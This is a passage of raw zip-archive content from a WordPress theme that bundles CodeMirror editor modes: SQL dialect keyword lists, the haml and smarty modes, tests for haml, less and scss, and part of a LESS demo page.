plugins prepare preserve prev primary privileges procedure processlist profile profiles purge query quick range read read_write reads real rebuild recover references regexp relaylog release remove rename reorganize repair repeatable replace require resignal restrict resume return returns revoke right rlike rollback rollup row row_format rtree savepoint schedule schema schema_name schemas second_microsecond security sensitive separator serializable server session share show signal slave slow smallint snapshot soname spatial specific sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_no_cache sql_small_result sqlexception sqlstate sqlwarning ssl start starting starts status std stddev stddev_pop stddev_samp storage straight_join subclass_origin sum suspend table_name table_statistics tables tablespace temporary terminated to trailing transaction trigger triggers truncate uncommitted undo uninstall unique unlock upgrade usage use use_frm user user_resources user_statistics using utc_date utc_time utc_timestamp value variables varying view views warnings when while with work write xa xor year_month zerofill begin do then else loop repeat"),
    builtin: set("bool boolean bit blob decimal double float long longblob longtext medium mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer float float4 float8 double char varbinary varchar varcharacter precision date datetime year unsigned signed numeric"),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=&|^]/,
    dateSQL: set("date time timestamp"),
    support: set("ODBCdotTable decimallessFloat zerolessFloat binaryNumber hexNumber doubleQuote nCharCast charsetCast commentHash commentSpaceRequired"),
    hooks: {
      "@":   hookVar,
      "`":   hookIdentifier,
      "\\":  hookClient
    }
  });

  CodeMirror.defineMIME("text/x-mariadb", {
    name: "sql",
    client: set("charset clear connect edit ego exit go help nopager notee nowarning pager print prompt quit rehash source status system tee"),
    keywords: set(sqlKeywords + "accessible action add after algorithm all always analyze asensitive at authors auto_increment autocommit avg avg_row_length before binary binlog both btree cache call cascade cascaded case catalog_name chain change changed character check checkpoint checksum class_origin client_statistics close coalesce code collate collation collations column columns comment commit committed completion concurrent condition connection consistent constraint contains continue contributors convert cross current current_date current_time current_timestamp current_user cursor data database databases day_hour day_microsecond day_minute day_second deallocate dec declare default delay_key_write delayed delimiter des_key_file describe deterministic dev_pop dev_samp deviance diagnostics directory disable discard distinctrow div dual dumpfile each elseif enable enclosed end ends engine engines enum errors escape escaped even event events every execute exists exit explain extended fast fetch field fields first flush for force foreign found_rows full fulltext function general generated get global grant grants group groupby_concat handler hard hash help high_priority hosts hour_microsecond hour_minute hour_second if ignore ignore_server_ids import index index_statistics infile inner innodb inout insensitive insert_method install interval invoker isolation iterate key keys kill language last leading leave left level limit linear lines list load local localtime localtimestamp lock logs low_priority master master_heartbeat_period master_ssl_verify_server_cert masters match max max_rows maxvalue message_text middleint migrate min min_rows minute_microsecond minute_second mod mode modifies modify mutex mysql_errno natural next no no_write_to_binlog offline offset one online open optimize option optionally out outer outfile pack_keys parser partition partitions password persistent phase plugin plugins prepare preserve prev primary privileges procedure processlist profile profiles purge query quick range read read_write reads real rebuild recover references regexp relaylog release remove rename reorganize repair repeatable replace require resignal restrict resume return returns revoke right rlike rollback rollup row row_format rtree savepoint schedule schema schema_name schemas second_microsecond security sensitive separator serializable server session share show shutdown signal slave slow smallint snapshot soft soname spatial specific sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_no_cache sql_small_result sqlexception sqlstate sqlwarning ssl start starting starts status std stddev stddev_pop stddev_samp storage straight_join subclass_origin sum suspend table_name table_statistics tables tablespace temporary terminated to trailing transaction trigger triggers truncate uncommitted undo uninstall unique unlock upgrade usage use use_frm user user_resources user_statistics using utc_date utc_time utc_timestamp value variables varying view views virtual warnings when while with work write xa xor year_month zerofill begin do then else loop repeat"),
    builtin: set("bool boolean bit blob decimal double float long longblob longtext medium mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer float float4 float8 double char varbinary varchar varcharacter precision date datetime year unsigned signed numeric"),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=&|^]/,
    dateSQL: set("date time timestamp"),
    support: set("ODBCdotTable decimallessFloat zerolessFloat binaryNumber hexNumber doubleQuote nCharCast charsetCast commentHash commentSpaceRequired"),
    hooks: {
      "@":   hookVar,
      "`":   hookIdentifier,
      "\\":  hookClient
    }
  });

  // the query language used by Apache Cassandra is called CQL, but this mime type
  // is called Cassandra to avoid confusion with Contextual Query Language
  CodeMirror.defineMIME("text/x-cassandra", {
    name: "sql",
    client: { },
    keywords: set("add all allow alter and any apply as asc authorize batch begin by clustering columnfamily compact consistency count create custom delete desc distinct drop each_quorum exists filtering from grant if in index insert into key keyspace keyspaces level limit local_one local_quorum modify nan norecursive nosuperuser not of on one order password permission permissions primary quorum rename revoke schema select set storage superuser table three to token truncate ttl two type unlogged update use user users using values where with writetime"),
    builtin: set("ascii bigint blob boolean counter decimal double float frozen inet int list map static text timestamp timeuuid tuple uuid varchar varint"),
    atoms: set("false true infinity NaN"),
    operatorChars: /^[<>=]/,
    dateSQL: { },
    support: set("commentSlashSlash decimallessFloat"),
    hooks: { }
  });

  // this is based on Peter Raganitsch's 'plsql' mode
  CodeMirror.defineMIME("text/x-plsql", {
    name:       "sql",
    client:     set("appinfo arraysize autocommit autoprint autorecovery autotrace blockterminator break btitle cmdsep colsep compatibility compute concat copycommit copytypecheck define describe echo editfile embedded escape exec execute feedback flagger flush heading headsep instance linesize lno loboffset logsource long longchunksize markup native newpage numformat numwidth pagesize pause pno recsep recsepchar release repfooter repheader serveroutput shiftinout show showmode size spool sqlblanklines sqlcase sqlcode sqlcontinue sqlnumber sqlpluscompatibility sqlprefix sqlprompt sqlterminator suffix tab term termout time timing trimout trimspool ttitle underline verify version wrap"),
    keywords:   set("abort accept access add all alter and any array arraylen as asc assert assign at attributes audit authorization avg base_table begin between binary_integer body boolean by case cast char char_base check close cluster clusters colauth column comment commit compress connect connected constant constraint crash create current currval cursor data_base database date dba deallocate debugoff debugon decimal declare default definition delay delete desc digits dispose distinct do drop else elseif elsif enable end entry escape exception exception_init exchange exclusive exists exit external fast fetch file for force form from function generic goto grant group having identified if immediate in increment index indexes indicator initial initrans insert interface intersect into is key level library like limited local lock log logging long loop master maxextents maxtrans member minextents minus mislabel mode modify multiset new next no noaudit nocompress nologging noparallel not nowait number_base object of off offline on online only open option or order out package parallel partition pctfree pctincrease pctused pls_integer positive positiven pragma primary prior private privileges procedure public raise range raw read rebuild record ref references refresh release rename replace resource restrict return returning returns reverse revoke rollback row rowid rowlabel rownum rows run savepoint schema segment select separate session set share snapshot some space split sql start statement storage subtype successful synonym tabauth table tables tablespace task terminate then to trigger truncate type union unique unlimited unrecoverable unusable update use using validate value values variable view views when whenever where while with work"),
    builtin:    set("abs acos add_months ascii asin atan atan2 average bfile bfilename bigserial bit blob ceil character chartorowid chr clob concat convert cos cosh count dec decode deref dual dump dup_val_on_index empty error exp false float floor found glb greatest hextoraw initcap instr instrb int integer isopen last_day least lenght lenghtb ln lower lpad ltrim lub make_ref max min mlslabel mod months_between natural naturaln nchar nclob new_time next_day nextval nls_charset_decl_len nls_charset_id nls_charset_name nls_initcap nls_lower nls_sort nls_upper nlssort no_data_found notfound null number numeric nvarchar2 nvl others power rawtohex real reftohex round rowcount rowidtochar rowtype rpad rtrim serial sign signtype sin sinh smallint soundex sqlcode sqlerrm sqrt stddev string substr substrb sum sysdate tan tanh to_char text to_date to_label to_multi_byte to_number to_single_byte translate true trunc uid unlogged upper user userenv varchar varchar2 variance varying vsize xml"),
    operatorChars: /^[*+\-%<>!=~]/,
    dateSQL:    set("date time timestamp"),
    support:    set("doubleQuote nCharCast zerolessFloat binaryNumber hexNumber")
  });

  // Created to support specific hive keywords
  CodeMirror.defineMIME("text/x-hive", {
    name: "sql",
    keywords: set("select alter $elem$ $key$ $value$ add after all analyze and archive as asc before between binary both bucket buckets by cascade case cast change cluster clustered clusterstatus collection column columns comment compute concatenate continue create cross cursor data database databases dbproperties deferred delete delimited desc describe directory disable distinct distribute drop else enable end escaped exclusive exists explain export extended external false fetch fields fileformat first format formatted from full function functions grant group having hold_ddltime idxproperties if import in index indexes inpath inputdriver inputformat insert intersect into is items join keys lateral left like limit lines load local location lock locks mapjoin materialized minus msck no_drop nocompress not of offline on option or order out outer outputdriver outputformat overwrite partition partitioned partitions percent plus preserve procedure purge range rcfile read readonly reads rebuild recordreader recordwriter recover reduce regexp rename repair replace restrict revoke right rlike row schema schemas semi sequencefile serde serdeproperties set shared show show_database sort sorted ssl statistics stored streamtable table tables tablesample tblproperties temporary terminated textfile then tmp to touch transform trigger true unarchive undo union uniquejoin unlock update use using utc utc_tmestamp view when where while with"),
    builtin: set("bool boolean long timestamp tinyint smallint bigint int float double date datetime unsigned string array struct map uniontype"),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=]/,
    dateSQL: set("date timestamp"),
    support: set("ODBCdotTable doubleQuote binaryNumber hexNumber")
  });
}());

});

/*
  How Properties of Mime Types are used by SQL Mode
  =================================================

  keywords:
    A list of keywords you want to be highlighted.
  builtin:
    A list of builtin types you want to be highlighted (if you want types to be of class "builtin" instead of "keyword").
  operatorChars:
    All characters that must be handled as operators.
  client:
    Commands parsed and executed by the client (not the server).
  support:
    A list of supported syntaxes which are not common, but are supported by more than 1 DBMS.
    * ODBCdotTable: .tableName
    * zerolessFloat: .1
    * doubleQuote
    * nCharCast: N'string'
    * charsetCast: _utf8'string'
    * commentHash: use # char for comments
    * commentSlashSlash: use // for comments
    * commentSpaceRequired: require a space after -- for comments
  atoms:
    Keywords that must be highlighted as atoms,. Some DBMS's support more atoms than others:
    UNKNOWN, INFINITY, UNDERFLOW, NaN...
  dateSQL:
    Used for date/time SQL standard syntax, because not all DBMS's support same temporal types.
*/
PK     N\'A)    F  inc/customizer/framework/assets/js/vendor/codemirror/mode/haml/haml.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../htmlmixed/htmlmixed"), require("../ruby/ruby"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../htmlmixed/htmlmixed", "../ruby/ruby"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

  // full haml mode. This handled embeded ruby and html fragments too
  CodeMirror.defineMode("haml", function(config) {
    var htmlMode = CodeMirror.getMode(config, {name: "htmlmixed"});
    var rubyMode = CodeMirror.getMode(config, "ruby");

    function rubyInQuote(endQuote) {
      return function(stream, state) {
        var ch = stream.peek();
        if (ch == endQuote && state.rubyState.tokenize.length == 1) {
          // step out of ruby context as it seems to complete processing all the braces
          stream.next();
          state.tokenize = html;
          return "closeAttributeTag";
        } else {
          return ruby(stream, state);
        }
      };
    }

    function ruby(stream, state) {
      if (stream.match("-#")) {
        stream.skipToEnd();
        return "comment";
      }
      return rubyMode.token(stream, state.rubyState);
    }

    function html(stream, state) {
      var ch = stream.peek();

      // handle haml declarations. All declarations that cant be handled here
      // will be passed to html mode
      if (state.previousToken.style == "comment" ) {
        if (state.indented > state.previousToken.indented) {
          stream.skipToEnd();
          return "commentLine";
        }
      }

      if (state.startOfLine) {
        if (ch == "!" && stream.match("!!")) {
          stream.skipToEnd();
          return "tag";
        } else if (stream.match(/^%[\w:#\.]+=/)) {
          state.tokenize = ruby;
          return "hamlTag";
        } else if (stream.match(/^%[\w:]+/)) {
          return "hamlTag";
        } else if (ch == "/" ) {
          stream.skipToEnd();
          return "comment";
        }
      }

      if (state.startOfLine || state.previousToken.style == "hamlTag") {
        if ( ch == "#" || ch == ".") {
          stream.match(/[\w-#\.]*/);
          return "hamlAttribute";
        }
      }

      // donot handle --> as valid ruby, make it HTML close comment instead
      if (state.startOfLine && !stream.match("-->", false) && (ch == "=" || ch == "-" )) {
        state.tokenize = ruby;
        return state.tokenize(stream, state);
      }

      if (state.previousToken.style == "hamlTag" ||
          state.previousToken.style == "closeAttributeTag" ||
          state.previousToken.style == "hamlAttribute") {
        if (ch == "(") {
          state.tokenize = rubyInQuote(")");
          return state.tokenize(stream, state);
        } else if (ch == "{") {
          if (!stream.match(/^\{%.*/)) {
            state.tokenize = rubyInQuote("}");
            return state.tokenize(stream, state);
          }
        }
      }

      return htmlMode.token(stream, state.htmlState);
    }

    return {
      // default to html mode
      startState: function() {
        var htmlState = htmlMode.startState();
        var rubyState = rubyMode.startState();
        return {
          htmlState: htmlState,
          rubyState: rubyState,
          indented: 0,
          previousToken: { style: null, indented: 0},
          tokenize: html
        };
      },

      copyState: function(state) {
        return {
          htmlState : CodeMirror.copyState(htmlMode, state.htmlState),
          rubyState: CodeMirror.copyState(rubyMode, state.rubyState),
          indented: state.indented,
          previousToken: state.previousToken,
          tokenize: state.tokenize
        };
      },

      token: function(stream, state) {
        if (stream.sol()) {
          state.indented = stream.indentation();
          state.startOfLine = true;
        }
        if (stream.eatSpace()) return null;
        var style = state.tokenize(stream, state);
        state.startOfLine = false;
        // dont record comment line as we only want to measure comment line with
        // the opening comment block
        if (style && style != "commentLine") {
          state.previousToken = { style: style, indented: state.indented };
        }
        // if current state is ruby and the previous token is not `,` reset the
        // tokenize to html
        if (stream.eol() && state.tokenize == ruby) {
          stream.backUp(1);
          var ch = stream.peek();
          stream.next();
          if (ch && ch != ",") {
            state.tokenize = html;
          }
        }
        // reprocess some of the specific style tag when finish setting previousToken
        if (style == "hamlTag") {
          style = "tag";
        } else if (style == "commentLine") {
          style = "comment";
        } else if (style == "hamlAttribute") {
          style = "attribute";
        } else if (style == "closeAttributeTag") {
          style = null;
        }
        return style;
      }
    };
  }, "htmlmixed", "ruby");

  CodeMirror.defineMIME("text/x-haml", "haml");
});
PK     N\Q#    F  inc/customizer/framework/assets/js/vendor/codemirror/mode/haml/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({tabSize: 4, indentUnit: 2}, "haml");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }

  // Requires at least one media query
  MT("elementName",
     "[tag %h1] Hey There");

  MT("oneElementPerLine",
     "[tag %h1] Hey There %h2");

  MT("idSelector",
     "[tag %h1][attribute #test] Hey There");

  MT("classSelector",
     "[tag %h1][attribute .hello] Hey There");

  MT("docType",
     "[tag !!! XML]");

  MT("comment",
     "[comment / Hello WORLD]");

  MT("notComment",
     "[tag %h1] This is not a / comment ");

  MT("attributes",
     "[tag %a]([variable title][operator =][string \"test\"]){[atom :title] [operator =>] [string \"test\"]}");

  MT("htmlCode",
     "[tag&bracket <][tag h1][tag&bracket >]Title[tag&bracket </][tag h1][tag&bracket >]");

  MT("rubyBlock",
     "[operator =][variable-2 @item]");

  MT("selectorRubyBlock",
     "[tag %a.selector=] [variable-2 @item]");

  MT("nestedRubyBlock",
      "[tag %a]",
      "   [operator =][variable puts] [string \"test\"]");

  MT("multilinePlaintext",
      "[tag %p]",
      "  Hello,",
      "  World");

  MT("multilineRuby",
      "[tag %p]",
      "  [comment -# this is a comment]",
      "     [comment and this is a comment too]",
      "  Date/Time",
      "  [operator -] [variable now] [operator =] [tag DateTime][operator .][property now]",
      "  [tag %strong=] [variable now]",
      "  [operator -] [keyword if] [variable now] [operator >] [tag DateTime][operator .][property parse]([string \"December 31, 2006\"])",
      "     [operator =][string \"Happy\"]",
      "     [operator =][string \"Belated\"]",
      "     [operator =][string \"Birthday\"]");

  MT("multilineComment",
      "[comment /]",
      "  [comment Multiline]",
      "  [comment Comment]");

  MT("hamlComment",
     "[comment -# this is a comment]");

  MT("multilineHamlComment",
     "[comment -# this is a comment]",
     "   [comment and this is a comment too]");

  MT("multilineHTMLComment",
    "[comment <!--]",
    "  [comment what a comment]",
    "  [comment -->]");

  MT("hamlAfterRubyTag",
    "[attribute .block]",
    "  [tag %strong=] [variable now]",
    "  [attribute .test]",
    "     [operator =][variable now]",
    "  [attribute .right]");

  MT("stretchedRuby",
     "[operator =] [variable puts] [string \"Hello\"],",
     "   [string \"World\"]");

  MT("interpolationInHashAttribute",
     //"[tag %div]{[atom :id] [operator =>] [string \"#{][variable test][string }_#{][variable ting][string }\"]} test");
     "[tag %div]{[atom :id] [operator =>] [string \"#{][variable test][string }_#{][variable ting][string }\"]} test");

  MT("interpolationInHTMLAttribute",
     "[tag %div]([variable title][operator =][string \"#{][variable test][string }_#{][variable ting]()[string }\"]) Test");
})();
PK     N\9    J  inc/customizer/framework/assets/js/vendor/codemirror/mode/smarty/smarty.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

/**
 * Smarty 2 and 3 mode.
 */

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("smarty", function(config, parserConf) {
    var rightDelimiter = parserConf.rightDelimiter || "}";
    var leftDelimiter = parserConf.leftDelimiter || "{";
    var version = parserConf.version || 2;
    var baseMode = CodeMirror.getMode(config, parserConf.baseMode || "null");

    var keyFunctions = ["debug", "extends", "function", "include", "literal"];
    var regs = {
      operatorChars: /[+\-*&%=<>!?]/,
      validIdentifier: /[a-zA-Z0-9_]/,
      stringChar: /['"]/
    };

    var last;
    function cont(style, lastType) {
      last = lastType;
      return style;
    }

    function chain(stream, state, parser) {
      state.tokenize = parser;
      return parser(stream, state);
    }

    // Smarty 3 allows { and } surrounded by whitespace to NOT slip into Smarty mode
    function doesNotCount(stream, pos) {
      if (pos == null) pos = stream.pos;
      return version === 3 && leftDelimiter == "{" &&
        (pos == stream.string.length || /\s/.test(stream.string.charAt(pos)));
    }

    function tokenTop(stream, state) {
      var string = stream.string;
      for (var scan = stream.pos;;) {
        var nextMatch = string.indexOf(leftDelimiter, scan);
        scan = nextMatch + leftDelimiter.length;
        if (nextMatch == -1 || !doesNotCount(stream, nextMatch + leftDelimiter.length)) break;
      }
      if (nextMatch == stream.pos) {
        stream.match(leftDelimiter);
        if (stream.eat("*")) {
          return chain(stream, state, tokenBlock("comment", "*" + rightDelimiter));
        } else {
          state.depth++;
          state.tokenize = tokenSmarty;
          last = "startTag";
          return "tag";
        }
      }

      if (nextMatch > -1) stream.string = string.slice(0, nextMatch);
      var token = baseMode.token(stream, state.base);
      if (nextMatch > -1) stream.string = string;
      return token;
    }

    // parsing Smarty content
    function tokenSmarty(stream, state) {
      if (stream.match(rightDelimiter, true)) {
        if (version === 3) {
          state.depth--;
          if (state.depth <= 0) {
            state.tokenize = tokenTop;
          }
        } else {
          state.tokenize = tokenTop;
        }
        return cont("tag", null);
      }

      if (stream.match(leftDelimiter, true)) {
        state.depth++;
        return cont("tag", "startTag");
      }

      var ch = stream.next();
      if (ch == "$") {
        stream.eatWhile(regs.validIdentifier);
        return cont("variable-2", "variable");
      } else if (ch == "|") {
        return cont("operator", "pipe");
      } else if (ch == ".") {
        return cont("operator", "property");
      } else if (regs.stringChar.test(ch)) {
        state.tokenize = tokenAttribute(ch);
        return cont("string", "string");
      } else if (regs.operatorChars.test(ch)) {
        stream.eatWhile(regs.operatorChars);
        return cont("operator", "operator");
      } else if (ch == "[" || ch == "]") {
        return cont("bracket", "bracket");
      } else if (ch == "(" || ch == ")") {
        return cont("bracket", "operator");
      } else if (/\d/.test(ch)) {
        stream.eatWhile(/\d/);
        return cont("number", "number");
      } else {

        if (state.last == "variable") {
          if (ch == "@") {
            stream.eatWhile(regs.validIdentifier);
            return cont("property", "property");
          } else if (ch == "|") {
            stream.eatWhile(regs.validIdentifier);
            return cont("qualifier", "modifier");
          }
        } else if (state.last == "pipe") {
          stream.eatWhile(regs.validIdentifier);
          return cont("qualifier", "modifier");
        } else if (state.last == "whitespace") {
          stream.eatWhile(regs.validIdentifier);
          return cont("attribute", "modifier");
        } if (state.last == "property") {
          stream.eatWhile(regs.validIdentifier);
          return cont("property", null);
        } else if (/\s/.test(ch)) {
          last = "whitespace";
          return null;
        }

        var str = "";
        if (ch != "/") {
          str += ch;
        }
        var c = null;
        while (c = stream.eat(regs.validIdentifier)) {
          str += c;
        }
        for (var i=0, j=keyFunctions.length; i<j; i++) {
          if (keyFunctions[i] == str) {
            return cont("keyword", "keyword");
          }
        }
        if (/\s/.test(ch)) {
          return null;
        }
        return cont("tag", "tag");
      }
    }

    function tokenAttribute(quote) {
      return function(stream, state) {
        var prevChar = null;
        var currChar = null;
        while (!stream.eol()) {
          currChar = stream.peek();
          if (stream.next() == quote && prevChar !== '\\') {
            state.tokenize = tokenSmarty;
            break;
          }
          prevChar = currChar;
        }
        return "string";
      };
    }

    function tokenBlock(style, terminator) {
      return function(stream, state) {
        while (!stream.eol()) {
          if (stream.match(terminator)) {
            state.tokenize = tokenTop;
            break;
          }
          stream.next();
        }
        return style;
      };
    }

    return {
      startState: function() {
        return {
          base: CodeMirror.startState(baseMode),
          tokenize: tokenTop,
          last: null,
          depth: 0
        };
      },
      copyState: function(state) {
        return {
          base: CodeMirror.copyState(baseMode, state.base),
          tokenize: state.tokenize,
          last: state.last,
          depth: state.depth
        };
      },
      innerMode: function(state) {
        if (state.tokenize == tokenTop)
          return {mode: baseMode, state: state.base};
      },
      token: function(stream, state) {
        var style = state.tokenize(stream, state);
        state.last = last;
        return style;
      },
      indent: function(state, text) {
        if (state.tokenize == tokenTop && baseMode.indent)
          return baseMode.indent(state.base, text);
        else
          return CodeMirror.Pass;
      },
      blockCommentStart: leftDelimiter + "*",
      blockCommentEnd: "*" + rightDelimiter
    };
  });

  CodeMirror.defineMIME("text/x-smarty", "smarty");
});
PK     N\J'W  W  J  inc/customizer/framework/assets/js/vendor/codemirror/mode/css/less_test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  "use strict";

  var mode = CodeMirror.getMode({indentUnit: 2}, "text/x-less");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1), "less"); }

  MT("variable",
     "[variable-2 @base]: [atom #f04615];",
     "[qualifier .class] {",
     "  [property width]: [variable percentage]([number 0.5]); [comment // returns `50%`]",
     "  [property color]: [variable saturate]([variable-2 @base], [number 5%]);",
     "}");

  MT("amp",
     "[qualifier .child], [qualifier .sibling] {",
     "  [qualifier .parent] [atom &] {",
     "    [property color]: [keyword black];",
     "  }",
     "  [atom &] + [atom &] {",
     "    [property color]: [keyword red];",
     "  }",
     "}");

  MT("mixin",
     "[qualifier .mixin] ([variable dark]; [variable-2 @color]) {",
     "  [property color]: [variable darken]([variable-2 @color], [number 10%]);",
     "}",
     "[qualifier .mixin] ([variable light]; [variable-2 @color]) {",
     "  [property color]: [variable lighten]([variable-2 @color], [number 10%]);",
     "}",
     "[qualifier .mixin] ([variable-2 @_]; [variable-2 @color]) {",
     "  [property display]: [atom block];",
     "}",
     "[variable-2 @switch]: [variable light];",
     "[qualifier .class] {",
     "  [qualifier .mixin]([variable-2 @switch]; [atom #888]);",
     "}");

  MT("nest",
     "[qualifier .one] {",
     "  [def @media] ([property width]: [number 400px]) {",
     "    [property font-size]: [number 1.2em];",
     "    [def @media] [attribute print] [keyword and] [property color] {",
     "      [property color]: [keyword blue];",
     "    }",
     "  }",
     "}");


  MT("interpolation", ".@{[variable foo]} { [property font-weight]: [atom bold]; }");
})();
PK     N\"'8  8  J  inc/customizer/framework/assets/js/vendor/codemirror/mode/css/scss_test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({indentUnit: 2}, "text/x-scss");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1), "scss"); }

  MT('url_with_quotation',
    "[tag foo] { [property background]:[atom url]([string test.jpg]) }");

  MT('url_with_double_quotes',
    "[tag foo] { [property background]:[atom url]([string \"test.jpg\"]) }");

  MT('url_with_single_quotes',
    "[tag foo] { [property background]:[atom url]([string \'test.jpg\']) }");

  MT('string',
    "[def @import] [string \"compass/css3\"]");

  MT('important_keyword',
    "[tag foo] { [property background]:[atom url]([string \'test.jpg\']) [keyword !important] }");

  MT('variable',
    "[variable-2 $blue]:[atom #333]");

  MT('variable_as_attribute',
    "[tag foo] { [property color]:[variable-2 $blue] }");

  MT('numbers',
    "[tag foo] { [property padding]:[number 10px] [number 10] [number 10em] [number 8in] }");

  MT('number_percentage',
    "[tag foo] { [property width]:[number 80%] }");

  MT('selector',
    "[builtin #hello][qualifier .world]{}");

  MT('singleline_comment',
    "[comment // this is a comment]");

  MT('multiline_comment',
    "[comment /*foobar*/]");

  MT('attribute_with_hyphen',
    "[tag foo] { [property font-size]:[number 10px] }");

  MT('string_after_attribute',
    "[tag foo] { [property content]:[string \"::\"] }");

  MT('directives',
    "[def @include] [qualifier .mixin]");

  MT('basic_structure',
    "[tag p] { [property background]:[keyword red]; }");

  MT('nested_structure',
    "[tag p] { [tag a] { [property color]:[keyword red]; } }");

  MT('mixin',
    "[def @mixin] [tag table-base] {}");

  MT('number_without_semicolon',
    "[tag p] {[property width]:[number 12]}",
    "[tag a] {[property color]:[keyword red];}");

  MT('atom_in_nested_block',
    "[tag p] { [tag a] { [property color]:[atom #000]; } }");

  MT('interpolation_in_property',
    "[tag foo] { #{[variable-2 $hello]}:[number 2]; }");

  MT('interpolation_in_selector',
    "[tag foo]#{[variable-2 $hello]} { [property color]:[atom #000]; }");

  MT('interpolation_error',
    "[tag foo]#{[variable foo]} { [property color]:[atom #000]; }");

  MT("divide_operator",
    "[tag foo] { [property width]:[number 4] [operator /] [number 2] }");

  MT('nested_structure_with_id_selector',
    "[tag p] { [builtin #hello] { [property color]:[keyword red]; } }");

  MT('indent_mixin',
     "[def @mixin] [tag container] (",
     "  [variable-2 $a]: [number 10],",
     "  [variable-2 $b]: [number 10])",
     "{}");

  MT('indent_nested',
     "[tag foo] {",
     "  [tag bar] {",
     "  }",
     "}");

  MT('indent_parentheses',
     "[tag foo] {",
     "  [property color]: [variable darken]([variable-2 $blue],",
     "    [number 9%]);",
     "}");

  MT('indent_vardef',
     "[variable-2 $name]:",
     "  [string 'val'];",
     "[tag tag] {",
     "  [tag inner] {",
     "    [property margin]: [number 3px];",
     "  }",
     "}");
})();
PK     N\@    G  inc/customizer/framework/assets/js/vendor/codemirror/mode/css/less.htmlnu [        <!doctype html>

<title>CodeMirror: LESS mode</title>
<meta charset="utf-8"/>
<link rel=stylesheet href="../../doc/docs.css">

<link rel="stylesheet" href="../../lib/codemirror.css">
<script src="../../lib/codemirror.js"></script>
<script src="../../addon/edit/matchbrackets.js"></script>
<script src="css.js"></script>
<style>.CodeMirror {border: 1px solid #ddd; line-height: 1.2;}</style>
<div id=nav>
  <a href="http://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../../doc/logo.png"></a>

  <ul>
    <li><a href="../../index.html">Home</a>
    <li><a href="../../doc/manual.html">Manual</a>
    <li><a href="https://github.com/codemirror/codemirror">Code</a>
  </ul>
  <ul>
    <li><a href="../index.html">Language modes</a>
    <li><a class=active href="#">LESS</a>
  </ul>
</div>

<article>
<h2>LESS mode</h2>
<form><textarea id="code" name="code">@media screen and (device-aspect-ratio: 16/9) { … }
@media screen and (device-aspect-ratio: 1280/720) { … }
@media screen and (device-aspect-ratio: 2560/1440) { … }

html:lang(fr-be)

tr:nth-child(2n+1) /* represents every odd row of an HTML table */

img:nth-of-type(2n+1) { float: right; }
img:nth-of-type(2n) { float: left; }

body > h2:not(:first-of-type):not(:last-of-type)

html|*:not(:link):not(:visited)
*|*:not(:hover)
p::first-line { text-transform: uppercase }

@namespace foo url(http://www.example.com);
foo|h1 { color: blue }  /* first rule */

span[hello="Ocean"][goodbye="Land"]

E[foo]{
  padding:65px;
}

input[type="search"]::-webkit-search-decoration,
input[type="search"]::-webkit-search-cancel-button {
  -webkit-appearance: none; // Inner-padding issues in Chrome OSX, Safari 5
}
button::-moz-focus-inner,
input::-moz-focus-inner { // Inner padding and border oddities in FF3/4
  padding: 0;
  border: 0;
}
.btn {
  // reset here as of 2.0.3 due to Recess property order
  border-color: #ccc;
  border-color: rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);
}
fieldset span button, fieldset span input[type="file"] {
  font-size:12px;
	font-family:Arial, Helvetica, sans-serif;
}

.rounded-corners (@radius: 5px) {
  border-radius: @radius;
  -webkit-border-radius: @radius;
  -moz-border-radius: @radius;
}

@import url("something.css");

@light-blue:   hsl(190, 50%, 65%);

#menu {
  position: absolute;
  width: 100%;
  z-index: 3;
  clear: both;
  display: block;
  background-color: @blue;
  height: 42px;
  border-top: 2px solid lighten(@alpha-blue, 20%);
  border-bottom: 2px solid darken(@alpha-blue, 25%);
  .box-shadow(0, 1px, 8px, 0.6);
  -moz-box-shadow: 0 0 0 #000; // Because firefox sucks.

  &.docked {
    background-color: hsla(210, 60%, 40%, 0.4);
  }
  &:hover {
    background-color: @blue;
  }

  #dropdown {
    margin: 0 0 0 117px;
    padding: 0;
    padding-top: 5px;
    display: none;
    width: 190px;
    border-top: 2px solid @medium;
    color: @highlight;
    border: 2px solid darken(@medium, 25%);
    border-left-color: darken(@medium, 15%);
    border-right-color: darken(@medium, 15%);
    border-top-width: 0;
    background-color: darken(@medium, 10%);
    ul {
      padding: 0px;  
    }
    li {
      font-size: 14px;
      display: block;
      text-align: left;
      padding: 0;
      border: 0;
      a {
        display: block;
        padding: 0px 15px;  
        text-decoration: none;
        color: white;  
        &:hover {
          background-color: darken(@medium, 15%);
          text-decoration: none;
        }
      }
    }
    .border-radius(5px, bottom);
    .box-shadow(0, 6px, 8px, 0.5);
  }
}
</textarea></form>
    <script>
